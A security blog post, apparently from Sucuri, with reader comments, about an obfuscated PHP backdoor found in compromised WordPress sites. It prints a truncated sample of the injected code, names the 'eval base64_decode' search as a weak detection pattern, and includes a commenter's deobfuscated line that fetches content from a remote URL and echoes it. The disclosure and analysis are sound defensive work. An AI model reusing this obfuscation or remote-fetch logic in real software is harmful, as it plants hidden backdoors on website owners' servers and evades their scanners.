Skip links

Evil backdoors – Part II

A few months ago we did a post about backdoors, explaining how they work and how to look for them. If you didn’t read it, take a read here:

ASK Sucuri: What about the backdoors?

However, we still see on online forums people recommending to search for “eval ( base64_decode” and things like that when searching for backdoors. If you review our examples in that article, you can see that it would miss a few of them.

Today we started to see another type of backdoor that most signature-based tools can’t find. Take a look:

<?php @error_reporting(0); if (!isset($eva1fYlbakBcVSir)) {$eva1fYlbakBcVSir = "7kyJ7kSKioDTWVWeRB3TiciL1UjcmRiLn4SKiAETs90cuZlTz5mROtHWHdWfRt0ZupmVRNTU2Y..
VkQ1hURFFFUm1XbkRTID0xODc5Mjt9″;$eva1tYlbakBcVSir = "x65144x6f154x70170x65″;$eva1tYldakBcVSir = “x73164x72162x65166”;$eva1tYldakBoVS1r = “x65143x61154x70145x72137x67145x72160”;$eva1tYidokBoVSjr = “x3b51x29135x31133x72152x53126x63102x6b141x64..”;
$eva1tYldakBcVSjr=$eva1tYldakBcVSir($eva1tYlbakBcVSir);$eva1tYidakBcVSjr = $eva1tYldakBcVSjr(chr(2687.5*0.016), $eva1fYlbakBcVSir);$eva1tYXdakAcVSjr = $eva1tYidakBcVSjr[0.031*0.061];$eva1tYidokBcVSjr = $eva1tYldakBcVSjr(chr(3625*0.016), $eva1tYidokBoVSjr);$eva1tYldokBcVSjr($eva1tYidokBcVSjr
$eva1tYldakBcVSir = “”;$eva1tYldakBoVS1r = $eva1tYlbakBcVSir.$eva1tYlbakBcVSir;$eva1tYidokBoVSjr =
$eva1tYlbakBcVSir;$eva1tYldakBcVSir = “x73164x72x65143x72160164x72”;$eva1tYlbakBcVSir =
“x67141x6f133x70170x65”;$eva1tYldakBoVS1r =
“x65143x72160”;$eva1tYldakBcVSir = “”;$eva1tYldakBoVS1r =
$eva1tYlbakBcVSir.$eva1tYlbakBcVSir;$eva1tYidokBoVSjr = $eva1tYlbakBcVSir;} ?>

Can you see the evilness? It has no “eval” and no “base64_decode” in there. Using common techniques to search for these keywords would find nothing.

We are seeing many WordPress sites compromised with this type of malware/backdoor (specially on shared hosts).

So what do we recommend? Take a look at our post (at the bottom of it) for some ideas on how we find and clean them: Ask Sucuri: Backdoors.

If you have this issue in your site and need someone to clean it up for you, sign up here: Sucuri Signup

  • Andy Burton

    Just had this on my blog. After looking through the code this exploit appears to execute malicious code as instructed from a URL on one of 3 domains.

    The domain is determined by md5 (gethostbyname (domain)) . ‘com’, with domain being either, or, all of which now appear to resolve to, giving as the host domain to take instructions from, rather than the domain of the actual exploit.

    Because the ip addresses are all now i can’t see what domain(s) the exploit would have been requesting anymore.

    The URL the payload was requested from is –


  • wow That’s just wrong and evil.  People sometimes even just disable eval to eliminate the risk of unplanned code execution, but that’s really pointless isn’t it? If you can do this with variables, there’s no real need for eval at all.&  Throwing the strrev and preg_replace in there is just overkill..

    pfft.. good catch though

    • Andy Burton

      Yes, the malicious code being stored in an array and index’s being loaded using a mathematical calculation is a little OTT also.

      I quite like the use of create_function and lambda functions though =)

      • Yeah, I’ve seen the Lamda functions in attacks before. One actually had a malicious Hello Dolly plugin stored in the options table with a lamda function loading it up.  I guess it was more like Hello Chucky than Hello Dolly.

  • Thanks to posts like this, some people may be using this information on how to hurt others’ websites. Mine was injected with this code this morning- I did a Google search on my injected code and your website is a match. Much appreciated.

    • Andy Burton

      Are you implying that sharing knowledge and notifying people of security alerts is infact counter-productive? Knowledge can be used for good or bad… get over it….

      • Yes, information is counter productive sometimes. If someone used this exact virus code and put it on your website, you’d probably feel a similar regret.

        • John S

          You are some form of idiot. The information here shows only the injected code, it does not show in any way how the code was injected. The skill of the hacker here is in two parts: writing code like this which is harder to find, and in actually getting it on the target site. It is your own fault that you are running a site that is not properly sanitized against user input, or the fault of the developers of your CMS for not closing up cross site scripting potential problems. It is by no means the fault of the people who run this site – and many others like it – in making people aware of the problem and why this is different. If there was a post here called “10 steps of how to infect someones site” then your argument would be valid. Since all this post does is show the cleverness of the injected code – and doesnt even make any mention of what it even does – then it is very safe to conclude that whatever hacker got your site had full knowledge of this code and how to get it on to your site before they saw it here. Take responsibility for your own failings or go and rant on any of the thousands of sites that actually _do_ promote and educate people on how to hack websites through injection and cross site scripting.

  • Blogger244

    I found this ALL over my footer.php, sidebar-footer.php, header.php, etc. on my main includes and theme files for wordpress

  • very interesting and thanks for the post with backdoor

  • Jurij

    Hello. I managed to decypher the main part of the code. The code is pretty obfuscated, with many evals, base64_decodes, strrev, implode/explode, and nasty variable names which gives you quite a headache. Basically it goes to some site (I will need some time to find out the URL) and print the contents by echo. Here is the main part

    $evalsssgqulVBTkZLAch =@file_get_contents(“http://??/in.php?i= &b=???&h=”); //I still have to find out the exact URL.
    if (strstr($evalsssgqulVBTkZLAch,$evalQwblCenFzUe)){$evalsssgqulVBTkZLAch = explode($evalQwblCenFzUe,$evalsssgqulVBTkZLAch); $evalsssgqulVBTkZLAch = $evalsssgqulVBTkZLAch[1];
    echo $evalsssgqulVBTkZLAch;

    The code also creates a cookie by the name “stats”, which is used to set the URL (domain and parameters).

    P.S.: evals are stored in the “x73164x72162x65166″ strings, the only line which actually do something evil is



    the others are only obfuscating the code.

  • I have the same problem on my own server (with a few domains hosted on there). But what I really, really, want to figure out is how do they get in?! I want to prevent this from happening and get rid of this totally. Because atm these error_reporting codes keep popping up 🙁

  • MikeMarcacci

    It’s moving the user client-side to:

  • Zee

    Do you all not find it interesting that the domain is for awstats which is run on many hosting services take a look at for claims of built in backdoors for this software

    • It is nothing to do with awstats, upon closer inspection the page that the domain loads has an iframe which just embed awstats’ website to make it look like awstats. The domain owner has opted to protect the domain whois information by using a private domain registration company.

  • Pingback: Web Malware – Working with Evil Backdoors – Part III | Sucuri Blog()